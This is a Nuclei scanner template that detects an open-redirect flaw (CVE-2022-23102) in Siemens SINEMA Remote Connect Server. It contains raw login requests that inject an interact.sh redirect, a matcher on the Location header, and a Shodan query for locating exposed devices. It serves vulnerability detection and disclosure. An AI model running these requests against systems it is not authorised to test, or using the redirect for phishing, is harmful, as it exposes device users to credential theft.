id: CVE-2022-23102
info:
  name: SINEMA Remote Connect Server < V2.0 - Open Redirect
  author: ctflearner,ritikchaddha
  severity: medium
  description: |
    A vulnerability has been identified in SINEMA Remote Connect Server (All versions < V2.0). Affected products contain an open redirect vulnerability. An attacker could trick a valid authenticated user to the device into clicking a malicious link there by leading to phishing attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2022-23102
    - https://packetstormsecurity.com/files/165966/SIEMENS-SINEMA-Remote-Connect-1.0-SP3-HF1-Open-Redirection.html
    - https://seclists.org/fulldisclosure/2022/Feb/20
    - https://cert-portal.siemens.com/productcert/pdf/ssa-654775.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-23102
    cwe-id: CWE-601
    cpe: cpe:2.3:a:siemens:sinema_remote_connect_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: title:"Logon - SINEMA Remote Connect"
  tags: cve,cve2022,redirect,sinema,authenticated

http:
  - raw:
      - |
        GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: csrftoken={{csrf}};
        Referer: {{RootURL}}/wbm/login/?next=https%3A%2F%2Finteract.sh

        csrfmiddlewaretoken={{csrf}}&utcoffset=330&username={{username}}&password={{password}}

    matchers:
      - type: regex
        part: header_2
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - "name='csrfmiddlewaretoken' value='(.*)' />"
        internal: true